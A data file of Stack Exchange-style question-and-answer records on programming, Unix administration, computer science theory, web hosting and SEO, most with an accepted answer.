{  "id": "_softwareengineering.321676"  , "question": "When you consider Scala and its pass-by-name you could (if I am not mistaken) pack the argument to lambda and pass it by value to the function. Internally the function would use pass-by-name parameter as lambda.However in Algol you can change the parameter (so it is possible to write swap for example).My question is -- how full pass-by-name is implemented?"  , "title": "How full pass-by-name is implemented?"  , "tags": "parameters"  , "accepted_answer": "There are two possible implementations. The first is textual substitution, I.e. the called function is expanded inline with references to its parameters replaced with the code you supplies. This is basically a form of macro, and suffers from many of the problems inherent with that, most notably that a function cannot be made recursive when defined like this.The other is to use a pair of thunks, I.e. generated code that substitute for the operations of reading and writing the parameter. You can simulate this in an OOP language by defining an interface, e.g.public interface CallByNameArg<T>{    void set (T value);    T get();}Then a function uses those methods when it wants to access its arguments, e.g. a function in a call-by-name language that looks like this:int sum (int index, int start, int end, int value) // call-by-name{    int r = 0;    for (index = start; index < end; index ++) r += value;    return r;}becomesint sum (CallByName<int> index, CallByName<int> start, CallByName<int> end, CallByName<int> value){    int r = 0;    for (index.set (start.get ()); index.get() < end.get();         index.set (index.get () + 1))            r += value.get();   return r;}and a call site:int a[] = ....;int i;int s = sum(i, 0, a.length; a[i]);becomes (assuming a language with proper closures, so not Java even though I've been using Java-like syntax):int s = sum (new CallByNameArg {    void set (int value) { i = value; }    int get () { return i; } }, new CallByNameArg {    void set (int value) { throw NotModifiable; }    int get () { return 0; } } new CallByNameArg {    void set (int value) { throw NotModifiable; }    int get () { return a.length; } }, new CallByNameArg {    void set (int value) { a[i] = value; }    int get () { return a[i]; } });If you don't have actual closures in your language, you can simulate them by moving modifiable variables (in this case i and a) into an object and defining the CallByNameArg instances as inner classes or similar.Hope this makes it a bit clearer."  } 
{  "id": "_unix.360800"  , "question": "I'd like to know what the minus (-) and the EOC in the command below means. I know some languages like Perl allows you to chose any combination of character (not bound to EOF) but is that the case here? And the minus is a complete mystery for me. Thanks in advance!ftp -v -n $SERVER  >> $LOG_FILE <<-EOC            user $USERNAME $PWD            binary            cd $DIR1            mkdir $dir_lock            get $FILE            byeEOC"  , "title": "What does <"  , "tags": "linux;bash;shell script;io redirection"  , "accepted_answer": "That's a here-document.  command <<-wordhere-document contentswordThe word used to delimit the here-document is arbitrary, it's common, but not necessary, to use an upper-case word.The - in <<-word has the effect that tabs will be stripped from the beginning of each line in the contents of the here-document.cat <<-SERVICE_ANNOUNCEMENT    hello    worldSERVICE_ANNOUNCEMENTIf the above here-document was written with literal tabs at the start of each line, it would result in the outputhelloworldrather than    hello    worldTabs before the end delimiter are also stripped out with <<- (but not without the -):cat <<-SERVICE_ANNOUNCEMENT    hello    world    SERVICE_ANNOUNCEMENT(same output)"  } 
{  "id": "_cs.48378"  , "question": "I am currently studying materials for my uni subject. There are two examples of Kleene algebras, but I don't see what is the difference between them.Class ${2^{\\Sigma}}^{*}$ of all subsets of $\\Sigma^{*}$ with constants $\\emptyset$ and $\\{\\varepsilon\\}$ and operations $\\cup$, $\\cdot$ and $*$.Class of all regular subsets of $\\Sigma^{*}$ with constants $\\emptyset$ and $\\{\\varepsilon\\}$ and operations $\\cup$, $\\cdot$ and $*$.What is the difference between ${2^{\\Sigma}}^{*}$ and all regular subsets of $\\Sigma^{*}$? What is that difference I don't see? Thanks in advance."  , "title": "Kleene algebra - powerset class vs class of all regular subsets"  , "tags": "formal languages;regular languages"  , "accepted_answer": "The difference between the two is that $2^{\\Sigma^*}$ contains all languages over $\\Sigma$, whereas the class of all regular subsets of $\\Sigma^*$ contains only the regular languages over $\\Sigma^*$. So if $L$ is a non-regular language over $\\Sigma$ then $L \\in 2^{\\Sigma^*}$ while $L$ doesn't belong to the set of all regular languages over $\\Sigma$. For any $\\sigma \\in \\Sigma$, you can take $L = \\{ \\sigma^{n^2} : n \\geq 0 \\}$, for example."  } 
{  "id": "_cs.50088"  , "question": "The isomorphic induced subgraph problem, is the problem of deciding whether, given two graphs $G$ and $H$, $G$ contains an induced subgraph isomorphic to $H$.Is there a proof using Courcelle's theorem, that this problem is fixed-parameter tractable when parameterized by $|H|$ and $\\mathrm{tw}(G)$ (treewidth)?"  , "title": "Isomorphic induced subgraph problem using Courcelle's theorem"  , "tags": "algorithms;algorithm analysis;graph isomorphism;parameterized complexity"  } 
{  "id": "_codereview.67668"  , "question": "Below are a few of my handlers and helper methods. This works perfectly fine, but I'm pretty sure I'm breaking about 1001 modern conventions and possibly even optimizations.Could you provide some insights as to how I can improve the structure and design of this code?function getSelectedId() {    var grid = $(MainGrid).data(kendoGrid);    var selected = grid.select();    var data = grid.dataItem(selected);    return data.Id;}function changeGrid(e) {    var id = getSelectedId();    if (id == 0) {        hideSubGrid();    } else {        refreshSubGrid();        showSubGrid();        setTitle(id);    }}function hideSubGrid() {    var subGrid = $(SubGrid).data(kendoGrid);    subGrid.addClass(hidden);}function showSubGrid() {    var subGrid = $(SubGrid).data(kendoGrid);    subGrid.removeClass(hidden);}function refreshSubGrid(e) {    var subGrid = $(SubGrid).data(kendoGrid);    subGrid.dataSource.read();    subGrid.refresh();}function setTitle(id) {    $(#Title).text(id);}Some quick searching on the subject, suggests a style similar to what I've tried in the below code. However, I don't think this looks a whole lot better. I guess it's a step in the right direction, where I won't have to repeat myself as much, though.var gridHandler = {    mainGrid: $(MainGrid).data(kendoGrid),    subGrid: $(SubGrid).data(kendoGrid),    title: $(#Title),    getSelectedId: function () {        var selected = this.mainGrid.select();        var data = this.mainGrid.dataItem(selected);        return data.Id;    }    changeGrid: function (e) {        var id = this.getSelectedId();        if (id == 0) {            this.hideSubGrid();        } else {            this.refreshSubGrid();            this.showSubGrid();            this.setTitle(id);        }    }    hideSubGrid: function () {        this.subGrid.addClass(hidden);    }    showSubGrid: function () {        this.subGrid.removeClass(hidden);    }    refreshSubGrid: function (e) {        this.subGrid.dataSource.read();        this.subGrid.refresh();    }    setTitle: function (id) {        this.title.text(id);    }}"  , "title": "Event handlers & helper methods for a Kendo Grid"  , "tags": "javascript;jquery;design patterns"  , "accepted_answer": "The second solution has two main improvements:Fewer lookups. Every time you call your original getSelectedId method,the lookup for $(MainGrid).data(kendoGrid); is performed again.The 2nd version caches this in gridHandler.mainGrid -- only one lookup.The same goes for subGrid.More compact. For example the subGrid local variable here was not particularly useful:function hideSubGrid() {    var subGrid = $(SubGrid).data(kendoGrid);    subGrid.addClass(hidden);}It would have been simpler and more natural this way:function hideSubGrid() {    $(SubGrid).data(kendoGrid).addClass(hidden);}Reduced namespace clutter. By putting the methods in a gridHandler, you don't have many methods lying around in the global namespace, they are all neatly inside gridHandler."  } 
{  "id": "_webapps.6058"  , "question": "I've got a spreadsheet where each row of the first column is a question, and the next 4 columns are the optional 4 answers to that question.I want to turn these questions into an online form (like as the one offered by google docs)Is there a web service that can offer something like this?"  , "title": "Creating an online form - by Importing the questions from a spreadsheet?"  , "tags": "google spreadsheets;google forms"  } 
{  "id": "_unix.18840"  , "question": "time is a brilliant command if you want to figure out how much CPU time a given command takes.I am looking for something similar that can measure the disk I/O of the program and any children. Preferably it should distinguish between I/O that was cached (and thus did not cause the disk to spin) and I/O that was not cached.So I would like to do:iomeassure my_program my_argsand get output similar to:Cached read: 10233303 BytesCached write: 33303 Bytes  # This was probably a tmp file that was erased before making it to the diskNon-cached read: 200002020 BytesNon-cached write: 202020 BytesI have looked at vmstat, iostat, and sar, but none of these are looking at a single process. Instead they look at the whole system.I have looked at iotop, but that only gives me a view this instant.--- edit ---snap's answer seems close.'File system inputs:' is the non-cached reads in 512-byte blocks.'File system outputs:' is the cached writes in 512-byte blocks.You can force the cache empty with:sync ; echo 3 | sudo tee /proc/sys/vm/drop_caches >/dev/nullI tested with: seq 10000000 > seq /usr/bin/time -v bash -c 'perl -e open(G,\\>f\\); print G <>;close G; unlink \\f\\; seq'"  , "title": "Measuring disk I/O usage of a program"  , "tags": "io;time;measure"  , "accepted_answer": "You did not specify which operating system you use.LinuxInstead of using time foo which is (usually) a shell built-in you could try the external command /usr/bin/time foo. It gives some additional information such as number of file system inputs and outputs (but no information about cache hits or byte amounts). See man time and man getrusage for further instructions. Note that this feature requires Linux kernel version 2.6.22 or newer.FreeBSDUse /usr/bin/time -l foo. It gives the number of inputs and outputs. See man time and man getrusage for further instructions."  } 
{  "id": "_unix.58825"  , "question": "How can I assign the IP address of eth0 to an environment variable, say $ip, as easily as possible?Update: Distro is Ubuntu Server 12.04 LTS."  , "title": "Assigning IP address to environment variable"  , "tags": "linux;shell;networking;ip"  } 
{  "id": "_webmaster.3604"  , "question": "On the occasion of a new website, I'm looking for a reliable and inexpensive company to host a big volume of movies and pictures.I need around 1To to start knowing that it will grow each day.Do you have any company to advise ?Thank you."  , "title": "Host multimedia content"  , "tags": "web hosting;storage"  } 
{  "id": "_webapps.95868"  , "question": "I heard that it is possible to convert my Facebook account to become a Facebook page. I created my Facebook account, and now I want to move the account to become a page so as to make it my official Facebook page."  , "title": "How can I convert my Facebook profile to a Page?"  , "tags": "facebook;facebook pages"  } 
{  "id": "_unix.42611"  , "question": "I was calibrating my touch screen, and saw that the best tool around was xinput_calibrator. So I used it. It have two options (one of which did not work), so I am here for the second. It says I should execute this command in a script that starts with your X session:xinput set-int-prop 3M 3M USB Touchscreen - EX II Evdev Axis Calibration 32 14410 2146 14574 2115So I tried ~/.xinitrc, ~/.xsession and ~/.xsessionrc, all of which did not exist. So I created them and the exact content was this command. The first two files made my logins fail (after I login, I fall back to the login screen).With the last file, the calibration was functional, but only after logging in...I need that command to run before the login dialog shows up. I thought of adding this command to the end of /etc/X11/xinit/xinitrc with no result (nothing changed). Also, I tried to add it to the end of /etc/X11/Xsession.d/40x11-common_xsessionrc (after inspecting some of the files), but the result was exactly the same as adding it to ~/.xsessionrc.How can I make this command run before the login screen shows (is this before the window manager starts, or before the X session starts)?(I am running Kubuntu with the default window manager, if that matters)UPDATE As I am using Kubuntu, my display manager is kdm. As the accepted answer suggests, I edited the file /etc/kde4/kdm/Xsetup, and as mentioned here I added the command before the command that is there by default. And it works like a charm :)"  , "title": "How can I run a script that starts before my login screen?"  , "tags": "x11;startup;session"  , "accepted_answer": "All the files you tried to change are read after you log in. Furthermore, ~/.xinitrc and ~/.xsession are the full set of commands that run in a session; ~/.xinitrc is read if you run xinit or startx from a text mode prompt, and ~/.xsession is read if you run a custom session (the name may vary) from a graphical login prompt.You need to configure your display manager, the program that shows the login prompt. For kdm, the KDE display manager, add your command to /etc/kde4/kdm/Xsetup (or /etc/kde3/kdm/Xsetup for older versions) (that's the path on Debian, I haven't verified that Kubuntu uses the same path).For gdm (the Gnome display manager), add your command to /etc/gdm/Init/Default. For xdm (the traditional X display manager), add your command to /etc/X11/xdm/Xsetup."  } 
{  "id": "_unix.237685"  , "question": "I can't create two files with same name with different cases in a folder.as an example if file names are like below.test.java and Test.java. warning message appear that saying The name Test with extension .java is already taken. Please choose a different name.in Linux we can do this. how can I do this in mac osx?"  , "title": "how can I create two files with same name with different case in mac osx"  , "tags": "files;osx"  , "accepted_answer": "You generally can't. Mac OS X is typically case-insensitive.It's actually a per-partition setting, AFAIK set when formatting the partition. The default is case-insensitive, and case-sensitive is known for breaking third-party apps. If you decide you need it, I suggest creating a case-sensitive disk image to store those files.(You might also like to know about another site in the Stack Exchange network, Ask Differentpresuming you haven't already heard of them.)"  } 
{  "id": "_softwareengineering.264280"  , "question": "The company I work for is evaluating some middleware solutions for governace, metering and security of web services. Currently, we're using an Enterprise Service Bus (ESB) for this purpose, but some cool guys in management decided they are going to deploy some API Management Middleware.I researched a bit about these API Management (aka API Gateway) Solutions but couldn't find the difference between them and actual ESBs. I evaluated some white papers from Mule, WSO2, Oracle etc, but the features offered by both products seem to be almost the same. The question is, what an API Management can do that an ESB cannot do and vice-versa? What value can be added to an IT Infrastructure by replacing an ESB for an API Gateway?"  , "title": "Differences between API Gateways and ESBs?"  , "tags": "integration;middleware"  , "accepted_answer": "The reason you're getting the concepts jumbled up is that the vendors are selling them in a package. But they are definitely separate concepts.An API Gateway provides a central access point for managing, monitoring, and securing access to your publicly exposed web services. It would also allow you to consolidate services across disparate endpoints as if they were all coming from a single host. For example let's say you had ten different service endpoints that were all part of a single suite of services. Rather than informing consumers of your service to use service1.yourcompany.com for one service and service2.yourcompany.com for another and so forth, you can instead have them all point to api.yourcompany.com/service1 or api.yourcompany.com/service2 and the gateway would be responsible for redirecting the requests to the appropriate endpoints.An ESB is an internal Bus that allows applications and services to communicate with each other in an uncoupled fashion. All applications can hook into the bus and they can receive  any message that interests them when published by another application. They can also publish their own messages that another application may listen for and respond to. The applications are not responsible for connecting with each other directly, they publish their messages to the bus and all interested parties listen and react.Logically the API Gateway is not a replacement for an ESB but rather an enhancement for a service oriented architecture."  } 
{  "id": "_unix.195641"  , "question": "I am using SUSE Linux 13.2 with an HP OfficeJet 6700.I want to duplex-print on DIN A4 paper (German industry norm, about the letter size in US, to be exact 210x297 millimetres). This is not possible without illegal margins. I am calling margins illegal if information that should get printed gets lost. I even blogged about it here: http://www.linuxintro.org/wiki/HP_OfficeJet_6700The situation is as follows:printing a test page on DIN A4, non-duplex, with hpijs driver works well (3x13 mm legal margin)printing a test page on DIN A4, non-duplex, with hpcups driver works great (3x3 mm legal margin)printing from libreOffice (set to paper size of DIN A4) and hpcups driver: illegal marginsprinting from libreOffice (set to paper size of DIN A4) and hpijs driver: no illegal marginsduplex print: illegal margins in every case listed aboveThere are the following paper size settings that seem plausible for my situation:A4 210x297mmA4 Borderless 210x297mmIndex Card A4 210x297mmA4 AutoDuplex 210x297mmCustombut non of them, even not custom makes the illegal margins go away as long as I choose duplex print (long edge).Do you have a solution or maybe just a step for troubleshooting this further? What application would I use to print a real test page (as the cups test page obviously does not represent what applications send to the printer)?"  , "title": "how to duplex-print with a HP OfficeJet 6700"  , "tags": "printing;cups"  } 
{  "id": "_hardwarecs.4207"  , "question": "I am interested to internally integrate a CD-RW IDE unit (Plextor Plexwriter Premium 2) using the existing mainboard interface USB 3, Sata 3, PCIe mostly in burning CD's with AMQR not in ripping. As far as I've read, using an IDE converter can be a tricky job and there are some variables including chip manufacturer, etc. Is there anyone that have been used one of the above solutions without experiencing transfer problems / buffer underrun/ loss of quality? Thanks"  , "title": "CD-RW IDE to USB SATA PCIe interface"  , "tags": "audio recording"  , "accepted_answer": "In terms of getting standardized performance out of your IDE drive, the best advice I can give you is to add an IDE controller card to your PC so that you can get a direct IDE to bus connection going over the PCI or PCI-E interface. I've had bad luck getting SATA > IDE adapters to work and would not recommend them.The big problem here is that an IDE controller card costs about as much as, if not more than, a new SATA DVD-RW drive, which would also yield increased performance. It might make more sense simply to bite the bullet and upgrade the drive. "  } 
{  "id": "_webapps.6838"  , "question": "I know you can synchronize folders using online storage services, but is there any of such sites that offer a synchronization tool? I would like to keep my folder identical to its cloud copy, in more than one computer.If I delete a file from computer A, it should be deleted both in the cloud and then in the computer B."  , "title": "Is there any folder synchronization service?"  , "tags": "sync;storage;online storage;synchronization"  , "accepted_answer": "Dropbox does exactly what you want."  } 
{  "id": "_unix.259070"  , "question": "I was installing Prey through a .deb file donwloaded from the official website when, all of a sudden I realized that I have so many unnecessary installed packages in my Ubunu laptop.This has been my sequence of actions:Tried to sudo dpkg -i prey.deb. Didn't work because of missing packets/conflicts:prey:i386 depn de sudo.prey:i386 depn de python.prey:i386 depn de python-gtk2.prey:i386 depn de scrot.prey:i386 depn de streamer.prey:i386 depn de mpg123.prey:i386 depn de dmidecode.prey:i386 depn de gksu.I then did a sudo apt-get update (all good) and a sudo apt-get upgrade (failed because previous package installation was unsuccessful, I think). APT suggested to do an apt-get -f install so I did. All of a sudden I realized I have an incredibly long list of unnecessary packages that I did NOT have (yesterday, at least): aglfn asymptote asymptote-doc checkbox-ng checkbox-ng-service cm-super cm-super-minimal context context-modules fonts-cabin fonts-comfortaa fonts-dejavu-extra fonts-ebgaramond fonts-ebgaramond-extra fonts-font-awesome fonts-freefont-otf fonts-gfs-artemisia fonts-gfs-baskerville fonts-gfs-bodoni-classic fonts-gfs-complutum fonts-gfs-didot fonts-gfs-didot-classic fonts-gfs-gazis fonts-gfs-neohellenic fonts-gfs-olga fonts-gfs-porson fonts-gfs-solomos fonts-gfs-theokritos fonts-hosny-amiri fonts-inconsolata fonts-junicode fonts-lato fonts-linuxlibertine fonts-lobster fonts-lobstertwo fonts-oflb-asana-math fonts-roboto fonts-sil-gentium fonts-sil-gentium-basic fonts-sil-gentiumplus fonts-stix freeglut3 giblib1:i386 gstreamer0.10-alsa gstreamer0.10-plugins-good gstreamer0.10-x lcdf-typetools libasound2:i386 libatk1.0-0:i386 libaudit1:i386 libavahi-client3:i386 libavahi-common-data:i386 libavahi-common3:i386 libbz2-1.0:i386 libcairo2:i386 libcomerr2:i386 libcups2:i386 libdatrie1:i386 libdb5.3:i386 libdbus-1-3:i386 libdbus-glib-1-2:i386 libdv4:i386 libffi6:i386 libfontconfig1:i386 libfreetype6:i386 libftgl2 libgconf-2-4:i386 libgcrypt20:i386 libgdk-pixbuf2.0-0:i386 libgif4:i386 libglib2.0-0:i386 libgmp10:i386 libgnome-keyring0:i386 libgnutls-deb0-28:i386 libgpg-error0:i386 libgpm2:i386 libgraphite2-3:i386 libgsl0ldbl libgssapi-krb5-2:i386 libgtk2.0-0:i386 libharfbuzz0b:i386 libhogweed4:i386 libid3tag0:i386 libimlib2:i386 libintl-perl libjbig0:i386 libjpeg-turbo8:i386 libjpeg8:i386 libk5crypto3:i386 libkeyutils1:i386 libkrb5-3:i386 libkrb5support0:i386 libltdl7:i386 liblzma5:i386 libmpg123-0:i386 libncursesw5:i386 libnettle6:i386 libosmesa6 libp11-kit0:i386 libpam-modules:i386 libpam0g:i386 libpango-1.0-0:i386 libpangocairo-1.0-0:i386 libpangoft2-1.0-0:i386 libpcre3:i386 libpixman-1-0:i386 libpng12-0:i386 libpoppler-qt5-1 libprojectm2v5 libpython-stdlib:i386 libpython2.7-minimal:i386 libpython2.7-stdlib:i386 libpython3.5-minimal libpython3.5-stdlib libqca2-plugins libqca2v5 libqt5script5 libqxt-core0 libqxt-gui0 libreadline6:i386 libselinux1:i386 libsigsegv2 libsqlite3-0:i386 libssl1.0.0:i386 libstartup-notification0:i386 libsystemd0:i386 libtasn1-6:i386 libtext-unidecode-perl libthai0:i386 libtiff5:i386 libtinfo5:i386 libv4l-0:i386 libv4lconvert0:i386 libx11-xcb1:i386 libxcb-render0:i386 libxcb-shm0:i386 libxcb-util1:i386 libxcomposite1:i386 libxcursor1:i386 libxdamage1:i386 libxfixes3:i386 libxi6:i386 libxinerama1:i386 libxml-libxml-perl libxml-namespacesupport-perl libxml-sax-base-perl libxml-sax-expat-perl libxml-sax-perl libxrandr2:i386 libxrender1:i386 linux-image-4.2.0-16-generic linux-image-4.2.0-18-generic linux-image-4.2.0-19-generic linux-image-4.2.0-22-generic linux-image-extra-4.2.0-16-generic linux-image-extra-4.2.0-18-generic linux-image-extra-4.2.0-19-generic linux-image-extra-4.2.0-22-generic linux-signed-image-4.2.0-18-generic linux-signed-image-4.2.0-19-generic linux-signed-image-4.2.0-22-generic m-tx mpg123:i386 musixtex pfb2t1c2pfb plainbox-secure-policy pmx python3-checkbox-ng python3-checkbox-support python3-jinja2 python3-plainbox python3-pyparsing python3-xlsxwriter python3.5 python3.5-minimal qml-module-qtquick-localstorage qtdeclarative5-localstorage-plugin scrot:i386 streamer:i386 sudo:i386 tex4ht tex4ht-common texinfo texlive-fonts-extra texlive-fonts-extra-doc texlive-formats-extra texlive-games texlive-generic-extra texlive-humanities texlive-humanities-doc texlive-lang-african texlive-lang-arabic texlive-lang-cyrillic texlive-lang-czechslovak texlive-lang-english texlive-lang-european texlive-lang-french texlive-lang-german texlive-lang-greek texlive-lang-indic texlive-lang-italian texlive-lang-polish texlive-lang-portuguese texlive-lang-spanish texlive-luatex texlive-math-extra texlive-music texlive-omega texlive-plain-extra texlive-publishers texlive-publishers-doc texlive-science-doc texlive-xetex ttf-adf-accanthis ttf-adf-gillius ttf-adf-universalis ttf-dejavu-core xawtv-plugins:i386 zlib1g:i386Note that apart from this long list, apt also said that the following packages would be removed (sudo??): Es SUPRIMIRAN els paquets segents:     plainbox-provider-resource-generic prey:i386 sudoSo because of all that, I aborted apt-get -f install, just in case...Because I wasn't sure about the dpkg process, I undid the first command by executing dpkg --purge prey. At this point, I checked the list of unnecessary packages (apt-get -f install) again and it was reduced, but still long enough to make me cancel this command. This is the list of packages that apt wants to uninstall because they are not necessary:aglfn asymptote asymptote-doc checkbox-ng checkbox-ng-service cm-super cm-super-minimal context context-modules fonts-cabin fonts-comfortaa fonts-dejavu-extra fonts-ebgaramond fonts-ebgaramond-extrafonts-font-awesome fonts-freefont-otf fonts-gfs-artemisia fonts-gfs-baskerville fonts-gfs-bodoni-classic fonts-gfs-complutum fonts-gfs-didot fonts-gfs-didot-classic fonts-gfs-gazisfonts-gfs-neohellenic fonts-gfs-olga fonts-gfs-porson fonts-gfs-solomos fonts-gfs-theokritos fonts-hosny-amiri fonts-inconsolata fonts-junicode fonts-lato fonts-linuxlibertine fonts-lobsterfonts-lobstertwo fonts-oflb-asana-math fonts-roboto fonts-sil-gentium fonts-sil-gentium-basic fonts-sil-gentiumplus fonts-stix freeglut3 gstreamer0.10-alsa gstreamer0.10-plugins-good gstreamer0.10-xlcdf-typetools libftgl2 libgsl0ldbl libintl-perl libosmesa6 libpoppler-qt5-1 libprojectm2v5 libpython3.5-minimal libpython3.5-stdlib libqca2-plugins libqca2v5 libqt5script5 libqxt-core0 libqxt-gui0libsigsegv2 libtext-unidecode-perl libxml-libxml-perl libxml-namespacesupport-perl libxml-sax-base-perl libxml-sax-expat-perl libxml-sax-perl linux-image-4.2.0-16-generic linux-image-4.2.0-18-genericlinux-image-4.2.0-19-generic linux-image-4.2.0-22-generic linux-image-extra-4.2.0-16-generic linux-image-extra-4.2.0-18-generic linux-image-extra-4.2.0-19-generic linux-image-extra-4.2.0-22-genericlinux-signed-image-4.2.0-18-generic linux-signed-image-4.2.0-19-generic linux-signed-image-4.2.0-22-generic m-tx musixtex pfb2t1c2pfb plainbox-provider-resource-generic plainbox-secure-policy pmxpython3-checkbox-ng python3-checkbox-support python3-jinja2 python3-plainbox python3-pyparsing python3-xlsxwriter python3.5 python3.5-minimal qml-module-qtquick-localstorageqtdeclarative5-localstorage-plugin tex4ht tex4ht-common texinfo texlive-fonts-extra texlive-fonts-extra-doc texlive-formats-extra texlive-games texlive-generic-extra texlive-humanitiestexlive-humanities-doc texlive-lang-african texlive-lang-arabic texlive-lang-cyrillic texlive-lang-czechslovak texlive-lang-english texlive-lang-european texlive-lang-french texlive-lang-germantexlive-lang-greek texlive-lang-indic texlive-lang-italian texlive-lang-polish texlive-lang-portuguese texlive-lang-spanish texlive-luatex texlive-math-extra texlive-music texlive-omegatexlive-plain-extra texlive-publishers texlive-publishers-doc texlive-science-doc texlive-xetex ttf-adf-accanthis ttf-adf-gillius ttf-adf-universalis ttf-dejavu-coreI recall having this list populated with some linux-signed-image... and others yesterday, but definitely didn't have all of them. In fact, some if these packages I know for sure that are being used (e.g. texlive-*, fonts-*, ttf-*, python-*...) What might I have broken and how could I revert this? I suspect the error comes from step 3 but I'm not certain about it.UPDATE: Before even tinkering around with debfoster as suggested in the comments, I have checked some packages and I have noticed that:ubuntu-desktop is not installed (?!) -- and I'm NOT using KDE nor XCFE. "  , "title": "Why do I have so many unnecessary packages?"  , "tags": "apt;package management;dpkg;deb"  , "accepted_answer": "There are a few routines, old wives' tales, for finding and then cleaning out unnecessary packages, in additon to the already suggested debfoster.(first) but, why is that package installed?A tool you will want to use while cleaning out packages is aptitude why pkg-name  From the aptitude man page: $ aptitude why kdepim  i   nautilus-data Recommends nautilus  i A nautilus      Recommends desktop-base (>= 0.2)  i A desktop-base  Suggests   gnome | kde | xfce4 | wmaker  p   kde           Depends    kdepim (>= 4:3.4.3)This only prints out the strongest dependency chain, but will answer many questions quickly. There is also why-not which is not so relevant to removing packages. package removed, config files remainingYou can find packages that are no longer used by yourself but that still have configuration files and the like remaining. To do this,  open a terminal and typedpkg-query -l '*' | grep ^rc | awk '{print $2}' |xargs > my_ apt_rc_removeList.lstThe list generated is of all the files in the 'rc' state - removed but configuration files remaining. These left over files you will now remove, but first look over the files listed in the my_ apt_rc_removeList.lst file, to check that you do want all of this cruft removed.  Now type aptitude purge `cat apt_rc_removeList.lst`and all this cruft will be removed. gtkorphanAnother application you can use to find left over packages isgtkorphan. From gtkorphan's description in the apt system:GtkOrphan is  a graphical tool which scans your Debian system, looking for orphaned  libraries. It implements a GUI front-end to deborphan, but adds the  package removal capability. A detailed documentation on the program  can be found at: http://www.marzocca.net/linux/gtkorphan.html.You can use this to help clean out packages in other sections (other than 'libs') too. mark uninteresting packages as dependencies: remove asapIn aptitude, in one sub-category of your Installed Packages, type l (the letter 'el') and then in the box that appears enter ?not(?automatic) . This will now show only packages that are not dependencies of other packages. Now,scroll over each of these, and on very package that does not interest you directly, hit the M key. This will not remove any packages, but mark each package as only here because, and while, something depends on itNow go through the sections one by one. Most of the 'only as a dependencies' packages will be in the libs section.mark all packages matching 'pattern' as 'auto': remove asapAll of the '-dev' packages can be marked for removal-if-not-required by  aptitude markauto ~i~n\\-dev$clean out an entire categoryAn entire category (CATEGORY_NAME) can be cleaned out withaptitude purge '~sCATEGORY_NAME ! ~exceptThisApp"  } 
{  "id": "_unix.20056"  , "question": "I have problem connecting to host via ssh. It prompts me this error :debianbox@debian:~$ssh cdcharles@hephaistos.rsr.lip6.frssh_exchange_identification : Connection closed by remote hostThe problem is that I used to connect to that machine before with the same account, but now I don't know what happen I just get this error. I try to warn the admin but he says that everything works fine. Can somebody tells me what is the problem?"  , "title": "Unable to connect to host via ssh"  , "tags": "ssh"  , "accepted_answer": "You mentioned in the comments that connecting from other addresses works, so most likely you have something like denyhosts running. Denyhosts detects failed SSH attempts and (if there are too many) blocks connections from that address. Check your /etc/hosts.deny file to see if your machine's IP address is in there, and remove it if so. You can add it to /etc/hosts.allow if you like, so it will always be able to connect even if Denyhosts blocks it again(Adapted from several comments on the question)"  } 
{  "id": "_unix.60142"  , "question": "I am trying to boot the linux kernel (bzImage) in QEMU but have had issues. After asking on U&L I found out that my problem was that I was booting the kernel without a filesystem to boot from. So how can I create a VFS to boot the kernel image?"  , "title": "Creating a Virtual filesystem to boot linux"  , "tags": "linux;filesystems;boot;linux kernel;qemu"  } 
{  "id": "_softwareengineering.354669"  , "question": "I'm looking to do the following for 1000s of items:1) get time series data for an item from file 2) calculate mean and standard deviation3) calculate final calculation using mean and standard deviation4) add value to listCurrently the file is one huge CSV of all items and all dates so there isn't much use multithreading that part so I will load it into memory. I would like to do the calculations via multithreading and am hoping to use the TPL (Task Parallel Library). I have a good idea of how to do this for example I could use a parallel for each and do the following:1) get time series data for specific item2) calculate mean3) calculate standard deviation4) calculate final calculation5) add to thread safe dictionaryEven though this is multithreaded it still is very sequential within the thread itself so I thought of the following would be better:Queue for timeseries data retrieval Queue for items to process for mean and standard deviation Queue for items to process for final calculation Couple of threads per queue picking up and working on each item. Basically will there be much benefit in me have more control or shall I just use the parallel for each?"  , "title": "TPL parallel for each or custom queue for multithreaded data processing"  , "tags": "c#;multithreading;message queue"  } 
{  "id": "_webmaster.65521"  , "question": "If I pick a hosting package that offers CDN support, then how do server stat tools work, since web pages are served by different servers from all over the world?Can I rely on them in that case?"  , "title": "Do server stat tools work with CDNs?"  , "tags": "cdn;statistics;logging"  , "accepted_answer": "Generally with any server-side language in play, your webpages are going to be created by the server directly and won't be duplicated by the CDN.Instead, a CDN is generally most effective when used on static assets like images, audio or video files, pdfs, word docs, etc.  But most of all images, including the images in any page on the server.  So you won't get the same stats simply for those static assets, but you'll get most page loads.In general, I wouldn't worry too much about inaccuracies due to CDN usage, the various stats packages generally have some wiggle room in terms of what they can actually pick up accurately anyway.And, of course, the benefits of a CDN are worth it if you get a speed boost out of it."  } 
{  "id": "_webmaster.26244"  , "question": "Possible Duplicate:SEO one longer page vs. several targeted subpages? Is is better to have just one big page with nice descriptions of products, or just one small page with link to small pages that have, each, one description of one product?Of course you may think: what a dumb question! Of course the more pages you have the better!What I mean is: if the pages of your products are very small, and the main page is very small too, maybe google will ignore it or flag it as useless (or whatever) whereas a nice and big page has still the potential to be properly indexed by google.What do you think?"  , "title": "SEO: many small pages or only one big?"  , "tags": "seo"  , "accepted_answer": "Very good question. I see that you're representing two extremes;Huge amounts of information on one pageAlmost no information on multiple pagesObviously you have already aknowledged that almost no information will lead to a flag, whereas internal links can help. SEO is all about balancing your options with your needs. If you have a ton of products, but only a little bit of information regarding each, instead of going the simple way of having them all listed just once, include some beef to the homepage and add some featured products, sort by this or that, categorize, etc.In the interest of the soul of the question though, I would definitely suggest using just one page. It might not get high rankings, but atleast you will avoid being flagged by a search engine."  } 
